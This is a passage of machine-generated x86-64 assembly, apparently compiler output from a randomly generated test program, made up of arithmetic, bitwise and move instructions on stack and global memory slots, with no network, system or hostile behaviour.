mov rcx, qword [rsp + 0x9040]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f38], rax
mov rax, qword [rsp + 0x9198]
mov qword [rsp + 0x9770], rax
mov rax, qword [rsp + 0x8c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f08]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d18]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x211]
mov rcx, qword [rsp + 0x95f0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9088]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1fd]
mov byte [0x1401cd78a], al
lea rax, [rsp + 0x15c8]
mov qword [rsp + 0x9778], rax
mov rax, qword [rsp + 0x9628]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9590]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1524], ax
movzx eax, word [rsp + 0x154c]
mov word [rsp + 0x15d8], ax
movsx eax, byte [rsp + 0x63]
movsx ecx, byte [rsp + 0x206]
sub eax, ecx
mov rcx, qword [rsp + 0x96b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8f50]
mov ecx, dword [rsp + 0x4ec4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4e44], eax
lea rax, [rsp + 0x94b0]
mov qword [rsp + 0x9780], rax
mov rax, qword [rsp + 0x90e8]
mov ecx, dword [0x1401cd720]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x96f0]
mov dword [rcx], eax
lea rax, [rsp + 0x91a8]
mov qword [rsp + 0x9788], rax
mov rax, qword [rsp + 0x90b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9690]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc074], ax
mov rax, qword [rsp + 0x9208]
movzx eax, byte [rax]
mov rcx, qword [0x1401cd858]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1e2], al
movzx eax, word [rsp + 0x1164]
mov word [rsp + 0x15dc], ax
movsx eax, byte [rsp + 0x204]
movsx ecx, byte [rsp + 0x20c]
add eax, ecx
mov rcx, qword [rsp + 0x93d8]
mov byte [rcx], al
movsx eax, word [0x1401cd820]
mov rcx, qword [rsp + 0x9248]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9028]
mov word [rcx], ax
mov rax, qword [rsp + 0x9290]
mov eax, dword [rax]
mov dword [rsp + 0x4f2c], eax
mov rax, qword [rsp + 0x9560]
mov rcx, qword [rsp + 0x8e00]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x96d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9120]
mov eax, dword [rax]
mov dword [rsp + 0x4f30], eax
mov rax, qword [rsp + 0x9450]
mov rcx, qword [rsp + 0x9538]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9700], rax
movzx eax, word [rsp + 0x1528]
movzx ecx, word [rsp + 0x15b4]
sar eax, cl
mov rcx, qword [0x1401cd770]
mov word [rcx], ax
movsx eax, byte [0x1401cd724]
movsx ecx, byte [rsp + 0x20b]
and eax, ecx
mov rcx, qword [rsp + 0x8fa0]
mov byte [rcx], al
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x9790], rax
movzx eax, word [rsp + 0x1520]
mov rcx, qword [rsp + 0x9448]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1508], ax
mov rax, qword [0x1401cd718]
movzx eax, byte [rax]
mov byte [rsp + 0x221], al
mov rax, qword [rsp + 0x95e8]
mov ecx, dword [rsp + 0x4e9c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e94], eax
mov rax, qword [rsp + 0x9130]
mov rcx, qword [0x1401cc020]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9490]
mov qword [rcx], rax
lea rax, [rsp + 0x4e58]
mov qword [rsp + 0x9798], rax
mov rax, qword [rsp + 0x8f58]
mov rcx, qword [rsp + 0x8ca0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e00], rax
mov rax, qword [rsp + 0x93d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x213]
sub eax, ecx
mov byte [0x1401cc03a], al
lea rax, [rsp + 0x1164]
mov qword [rsp + 0x97a0], rax
movzx eax, word [rsp + 0x15d4]
movzx ecx, word [rsp + 0x14e4]
and eax, ecx
mov rcx, qword [rsp + 0x9398]
mov word [rcx], ax
movzx eax, word [rsp + 0x14f4]
mov word [rsp + 0x15e0], ax
mov rax, qword [0x1401cd868]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9260]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x200], al
mov eax, dword [rsp + 0x4ee4]
mov ecx, dword [rsp + 0x4e54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e70], eax
lea rax, [rsp + 0x9728]
mov qword [rsp + 0x97a8], rax
mov rax, qword [rsp + 0x8ee8]
mov eax, dword [rax]
mov ecx, dword [0x1401cd720]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x479c], eax
mov rax, qword [rsp + 0x8ef0]
mov rax, qword [rax]
mov qword [rsp + 0x97b0], rax
mov rax, qword [rsp + 0x9180]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1540]
xor eax, ecx
mov rcx, qword [0x1401cd808]
mov word [rcx], ax
movzx eax, byte [0x1401cc032]
mov rcx, qword [rsp + 0x9058]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x21f], al
mov rax, qword [rsp + 0x8fa0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xca]
shl eax, cl
mov byte [rsp + 0x217], al
mov rax, qword [0x1401cd798]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fe8]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x1168], ax
mov rax, qword [rsp + 0x9478]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1548]
sar eax, cl
mov word [rsp + 0x15c4], ax
mov rax, qword [rsp + 0x8e70]
mov qword [rsp + 0x97b8], rax
mov rax, qword [rsp + 0x94d8]
mov ecx, dword [rsp + 0x4f24]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x95b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4ef8]
mov dword [rsp + 0x4f34], eax
lea rax, [0x1401cd726]
mov qword [0x1401cd870], rax
mov rax, qword [rsp + 0x92e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1588]
add eax, ecx
mov rcx, qword [rsp + 0x91c8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1510]
mov word [rsp + 0x15e4], ax
movzx eax, byte [rsp + 0x214]
mov rcx, qword [0x1401cd858]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f1], al
movsx eax, byte [rsp + 0x203]
mov rcx, qword [rsp + 0x9508]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8d00]
mov byte [rcx], al
lea rax, [rsp + 0x9388]
mov qword [rsp + 0x97c0], rax
mov rax, qword [rsp + 0x9408]
mov eax, dword [rax]
mov ecx, dword [0x1401cd720]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ec8], eax
lea rax, [rsp + 0x4efc]
mov qword [rsp + 0x97c8], rax
mov rax, qword [rsp + 0x91e8]
mov rcx, qword [rsp + 0x9618]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
mov rax, qword [0x1401cd868]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9758]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401cd858]
mov byte [rcx], al
mov rax, qword [rsp + 0x94f8]
movzx eax, word [rax]
mov word [rsp + 0x15e8], ax
movzx eax, word [rsp + 0x14e4]
movzx ecx, word [rsp + 0x1558]
add eax, ecx
mov rcx, qword [rsp + 0x9740]
mov word [rcx], ax
mov rax, qword [0x1401cd730]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1e4], al
lea rax, [rsp + 0x14e0]
mov qword [rsp + 0x97d0], rax
mov rax, qword [rsp + 0x9198]
mov rcx, qword [rsp + 0x9370]
mov qword [rsp + 0x97d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x90c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d08]
mov eax, dword [rax]
mov dword [rsp + 0x4f38], eax
mov rax, qword [rsp + 0x9150]
mov rcx, qword [rsp + 0x92d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8bd0], rax
mov rax, qword [rsp + 0x9558]
mov ecx, dword [0x1401cd710]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4e74], eax
movzx eax, byte [rsp + 0x1ef]
mov byte [0x1401cd78b], al
lea rax, [rsp + 0xee8]
mov qword [rsp + 0x97e0], rax
movsx eax, byte [rsp + 0x107]
movsx ecx, byte [rsp + 0x16a]
add eax, ecx
mov byte [rsp + 0x1dc], al
lea rax, [rsp + 0x1f3]
mov qword [rsp + 0x97e8], rax
movzx eax, word [rsp + 0x14f8]
movzx ecx, word [rsp + 0x1530]
and eax, ecx
mov word [rsp + 0x15b4], ax
mov rax, qword [rsp + 0x84e0]
mov rcx, qword [rsp + 0x94c0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8e58]
mov qword [rcx], rax
lea rax, [rsp + 0x4eb4]
mov qword [rsp + 0x97f0], rax
mov eax, dword [rsp + 0x4ea8]
mov ecx, dword [rsp + 0x4eec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9760]
mov dword [rcx], eax
lea rax, [rsp + 0x7f38]
mov qword [rsp + 0x97f8], rax
movzx eax, byte [rsp + 0x1e0]
mov rcx, qword [rsp + 0x96b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x92a0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1500]
movzx ecx, word [rsp + 0x1594]
sub eax, ecx
mov word [0x1401cd830], ax
mov rax, qword [rsp + 0x97a0]
movzx eax, word [rax]
mov word [rsp + 0x15ec], ax
movsx eax, byte [rsp + 0x1e5]
movsx ecx, byte [rsp + 0x1f9]
sub eax, ecx
mov byte [rsp + 0x166], al
movsx eax, byte [rsp + 0x217]
movsx ecx, byte [rsp + 0x1dc]
sub eax, ecx
mov byte [rsp + 0x20f], al
lea rax, [rsp + 0x4ebc]
mov qword [rsp + 0x9800], rax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0x8e20]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8bd0], rax
lea rax, [rsp + 0x9500]
mov qword [rsp + 0x9808], rax
mov rax, qword [rsp + 0x8f88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e7c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9360]
mov dword [rcx], eax
movsx eax, word [rsp + 0x15c4]
mov rcx, qword [rsp + 0x9488]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x15e0], ax
mov rax, qword [rsp + 0x9790]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9260]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401cc00e], al
lea rax, [rsp + 0x1f7]
mov qword [rsp + 0x9810], rax
mov rax, qword [rsp + 0x9488]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14f0]
xor eax, ecx
mov rcx, qword [rsp + 0x9028]
mov word [rcx], ax
lea rax, [rsp + 0x1ec]
mov qword [rsp + 0x9818], rax
mov rax, qword [rsp + 0x9238]
mov rcx, qword [rsp + 0x88e8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8560], rax
mov rax, qword [rsp + 0x90d0]
mov rcx, qword [rsp + 0x9408]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ec0], eax
lea rax, [rsp + 0x95b8]
mov qword [rsp + 0x9820], rax
mov eax, dword [rsp + 0x4f10]
mov ecx, dword [rsp + 0x4f18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4eec], eax
lea rax, [rsp + 0x1578]
mov qword [rsp + 0x9828], rax
lea rax, [rsp + 0x1e8]
mov qword [0x1401cd878], rax
movzx eax, byte [rsp + 0x1ec]
mov rcx, qword [rsp + 0x9260]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1fa], al
movzx eax, word [0x1401cc03c]
movzx ecx, word [rsp + 0x14fc]
add eax, ecx
mov word [rsp + 0x157c], ax
mov rax, qword [rsp + 0x94a8]
movzx eax, word [rax]
mov word [rsp + 0x15f0], ax
mov rax, qword [rsp + 0x87c8]
mov rcx, qword [rsp + 0x8848]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90d8]
mov qword [rcx], rax
mov eax, dword [0x1401cd720]
mov dword [rsp + 0x4f3c], eax
mov eax, dword [rsp + 0x4f18]
mov ecx, dword [rsp + 0x4f2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e54], eax
lea rax, [rsp + 0x97b0]
mov qword [rsp + 0x9830], rax
movsx eax, word [rsp + 0x15dc]
movsx ecx, word [rsp + 0x14f4]
sub eax, ecx
mov rcx, qword [rsp + 0x8fe8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9740]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x90b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc060], ax
mov rax, qword [rsp + 0x8f80]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cc00c]
add eax, ecx
mov byte [rsp + 0x1f8], al
movsx eax, byte [rsp + 0x210]
movsx ecx, byte [rsp + 0x107]
add eax, ecx
mov byte [rsp + 0xe1], al
movzx eax, word [rsp + 0x14cc]
mov rcx, qword [rsp + 0x9038]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9398]
mov word [rcx], ax
mov rax, qword [0x1401cd7b8]
movzx eax, word [rax]
mov word [rsp + 0x15f4], ax
mov eax, dword [rsp + 0x4f10]
mov rcx, qword [rsp + 0x9268]
mov qword [rsp + 0x9838], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9838]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9798]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9450]
mov rcx, qword [rsp + 0x8c98]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9650], rax
mov rax, qword [rsp + 0x9780]
mov rax, qword [rax]
mov qword [rsp + 0x9840], rax
mov rax, qword [rsp + 0x9548]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4dc4]
shr eax, cl
mov dword [rsp + 0x4ed0], eax
movzx eax, word [rsp + 0x1594]
mov rcx, qword [rsp + 0x8ed8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401cc078], ax
lea rax, [0x1401cc033]
mov qword [rsp + 0x9848], rax
movsx eax, byte [rsp + 0x20c]
mov rcx, qword [rsp + 0x8cc0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x94e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9508]
movsx eax, byte [rax]
movsx ecx, byte [0x1401cd726]
sub eax, ecx
mov byte [rsp + 0x21b], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
mov word [rsp + 0x15f8], ax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8e00]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e70], rax
mov rax, qword [rsp + 0x9030]
mov eax, dword [rax]
mov dword [rsp + 0x4f40], eax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0x8848]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9820]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4f38]
mov ecx, dword [rsp + 0x4e9c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9400]
mov dword [rcx], eax
lea rax, [rsp + 0x14d8]
mov qword [0x1401cd880], rax
lea rax, [rsp + 0x14d0]
mov qword [rsp + 0x9850], rax
movzx eax, byte [rsp + 0x200]
movzx ecx, byte [rsp + 0x1e0]
add eax, ecx
mov byte [rsp + 0x1fa], al
lea rax, [rsp + 0x1f9]
mov qword [rsp + 0x9858], rax
mov rax, qword [rsp + 0x9190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ed]
add eax, ecx
mov byte [rsp + 0x21f], al
lea rax, [rsp + 0x4f00]
mov qword [rsp + 0x9860], rax
mov rax, qword [rsp + 0x9840]
mov rcx, qword [rsp + 0x84e0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x95f8]
mov qword [rcx], rax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0x9450]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x90d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f88]
mov eax, dword [rax]
mov dword [rsp + 0x4f44], eax
movzx eax, word [rsp + 0x1580]
mov rcx, qword [rsp + 0x9568]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1401cd808]
mov word [rcx], ax
mov rax, qword [rsp + 0x9410]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x21d]
shl eax, cl
mov rcx, qword [rsp + 0x9260]
mov byte [rcx], al
mov rax, qword [rsp + 0x97e0]
movzx eax, word [rax]
mov word [rsp + 0x15fc], ax
movzx eax, word [rsp + 0x15e4]
movzx ecx, word [rsp + 0x1594]
xor eax, ecx
mov rcx, qword [rsp + 0x8ed8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x210]
sar eax, cl
mov byte [rsp + 0x1e8], al
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov dword [rsp + 0x4f48], eax
mov rax, qword [rsp + 0x9450]
mov rcx, qword [rsp + 0x9788]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9040], rax
lea rax, [0x1401cd720]
mov qword [rsp + 0x9868], rax
mov rax, qword [rsp + 0x9510]
mov rcx, qword [rsp + 0x8be8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8dd8], rax
movzx eax, word [rsp + 0x1594]
movzx ecx, word [0x1401cc06c]
add eax, ecx
mov word [0x1401cc07c], ax
mov rax, qword [rsp + 0x9028]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x153c]
add eax, ecx
mov rcx, qword [rsp + 0x9550]
mov word [rcx], ax
movzx eax, byte [rsp + 0x20a]
mov byte [rsp + 0x222], al
movzx eax, byte [rsp + 0x21c]
mov rcx, qword [rsp + 0x9848]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ee], al
lea rax, [rsp + 0x1510]
mov qword [rsp + 0x9870], rax
mov rax, qword [rsp + 0x8bf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9560]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fb0], rax
mov rax, qword [rsp + 0x9280]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a50], eax
mov rax, qword [rsp + 0x8d08]
mov rcx, qword [rsp + 0x9470]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f38], eax
mov rax, qword [rsp + 0x9258]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8848]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x94d0], rax
mov rax, qword [0x1401cd760]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x93d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401cd758]
mov byte [rcx], al
movzx eax, word [rsp + 0x1564]
mov word [rsp + 0x1600], ax
movsx eax, word [rsp + 0x14d0]
movsx ecx, word [0x1401cc058]
shl eax, cl
mov word [rsp + 0x1514], ax
lea rax, [rsp + 0x1f7]
mov qword [rsp + 0x9878], rax
mov rax, qword [rsp + 0x9070]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
xor eax, ecx
mov rcx, qword [rsp + 0x94a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9130]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9600]
mov qword [rsp + 0x9880], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9880]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x92d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9680]
mov qword [rsp + 0x9888], rax
mov eax, dword [rsp + 0x4f28]
mov ecx, dword [rsp + 0x4d54]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x93a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9648]
mov eax, dword [rax]
mov dword [rsp + 0x4f4c], eax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f8]
and eax, ecx
mov rcx, qword [0x1401cd7c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9488]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1524], ax
mov rax, qword [rsp + 0x9688]
movzx eax, byte [rax]
mov rcx, qword [0x1401cd748]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9260]
mov byte [rcx], al
movzx eax, byte [rsp + 0x215]
mov byte [rsp + 0x223], al
movsx eax, byte [rsp + 0x222]
mov rcx, qword [rsp + 0x9508]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9878]
mov byte [rcx], al
lea rax, [rsp + 0x4eac]
mov qword [rsp + 0x9890], rax
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ed8], eax
mov rax, qword [rsp + 0x96f8]
mov rcx, qword [rsp + 0x9010]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9538], rax
lea rax, [rsp + 0x9668]
mov qword [rsp + 0x9898], rax
movsx eax, byte [rsp + 0x218]
mov rcx, qword [rsp + 0x96b8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401cc03b], al
movzx eax, word [rsp + 0x1500]
movzx ecx, word [rsp + 0x15d4]
sub eax, ecx
mov rcx, qword [rsp + 0x9708]
mov word [rcx], ax
movzx eax, byte [0x1401cc009]
mov byte [rsp + 0x224], al
movsx eax, word [rsp + 0x156c]
mov rcx, qword [rsp + 0x9590]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x154c], ax
movzx eax, word [rsp + 0x1574]
mov word [rsp + 0x1604], ax
mov rax, qword [rsp + 0x9618]
mov rcx, qword [rsp + 0x9078]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x90d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8de0]
mov rcx, qword [rsp + 0x8f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x95a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9278]
mov eax, dword [rax]
mov dword [rsp + 0x4f50], eax
mov rax, qword [rsp + 0x90c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90a0]
mov qword [rsp + 0x98a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x98a0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9420]
mov qword [rcx], rax
lea rax, [rsp + 0x1df]
mov qword [rsp + 0x98a8], rax
mov rax, qword [rsp + 0x9850]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15e0]
or eax, ecx
mov word [0x1401cc058], ax
mov rax, qword [rsp + 0x95c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ec]
sar eax, cl
mov byte [rsp + 0x1e9], al
movzx eax, word [rsp + 0x15a8]
movzx ecx, word [rsp + 0x1500]
and eax, ecx
mov rcx, qword [rsp + 0x9180]
mov word [rcx], ax
mov rax, qword [rsp + 0x92a0]
movzx eax, byte [rax]
mov byte [rsp + 0x225], al
mov rax, qword [rsp + 0x8f18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e9c], eax
lea rax, [rsp + 0x4e44]
mov qword [rsp + 0x98b0], rax
mov rax, qword [rsp + 0x95f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8560]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9680], rax
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8100]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9110], rax
movsx eax, byte [rsp + 0x20c]
mov rcx, qword [rsp + 0x9218]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x80], al
lea rax, [rsp + 0x14d4]
mov qword [0x1401cd888], rax
movsx eax, word [rsp + 0x15dc]
mov rcx, qword [rsp + 0x9028]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
mov rax, qword [rsp + 0x9878]
movzx eax, byte [rax]
mov byte [rsp + 0x226], al
mov rax, qword [rsp + 0x9730]
movsx eax, word [rax]
mov rcx, qword [0x1401cd740]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8db8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f60]
mov eax, dword [rax]
mov dword [rsp + 0x4f54], eax
mov rax, qword [rsp + 0x8ff0]
mov ecx, dword [rsp + 0x4f2c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4e44], eax
mov rax, qword [rsp + 0x90a0]
mov rcx, qword [rsp + 0x9840]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9668], rax
mov rax, qword [rsp + 0x8e20]
mov qword [rsp + 0x98b8], rax
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9568]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1590], ax
mov rax, qword [rsp + 0x9340]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1560]
xor eax, ecx
mov word [0x1401cc074], ax
lea rax, [rsp + 0x1dd]
mov qword [rsp + 0x98c0], rax
mov rax, qword [rsp + 0x92f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x207]
sar eax, cl
mov rcx, qword [rsp + 0x9578]
mov byte [rcx], al
movsx eax, word [rsp + 0x14d8]
movsx ecx, word [0x1401cc038]
shl eax, cl
mov rcx, qword [rsp + 0x9250]
mov word [rcx], ax
mov rax, qword [rsp + 0x96d8]
mov rax, qword [rax]
mov qword [rsp + 0x98c8], rax
mov rax, qword [rsp + 0x9308]
mov ecx, dword [rsp + 0x4ed4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f1c], eax
lea rax, [rsp + 0x9728]
mov qword [rsp + 0x98d0], rax
mov rax, qword [rsp + 0x9558]
mov rcx, qword [rsp + 0x95c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x94b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14d4]
add eax, ecx
mov word [rsp + 0x1540], ax
lea rax, [0x1401cc00d]
mov qword [0x1401cd890], rax
movzx eax, byte [rsp + 0x201]
mov byte [rsp + 0x227], al
movsx eax, word [rsp + 0x15d8]
movsx ecx, word [rsp + 0x14e8]
add eax, ecx
mov word [rsp + 0x1514], ax
movzx eax, byte [rsp + 0x207]
mov byte [rsp + 0x228], al
mov rax, qword [rsp + 0x9568]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x94a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1528], ax
mov rax, qword [rsp + 0x9648]
mov rcx, qword [rsp + 0x9240]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9468]
mov dword [rcx], eax
lea rax, [rsp + 0x4ed0]
mov qword [rsp + 0x98d8], rax
mov rax, qword [rsp + 0x97b0]
mov rcx, qword [0x1401cc010]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x96d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9078]
mov rax, qword [rax]
mov qword [rsp + 0x98e0], rax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x223]
add eax, ecx
mov rcx, qword [0x1401cd748]
mov byte [rcx], al
movsx eax, word [rsp + 0x152c]
mov rcx, qword [rsp + 0x9098]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9828]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1e7]
mov byte [rsp + 0x229], al
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
movzx ecx, word [0x1401cc074]
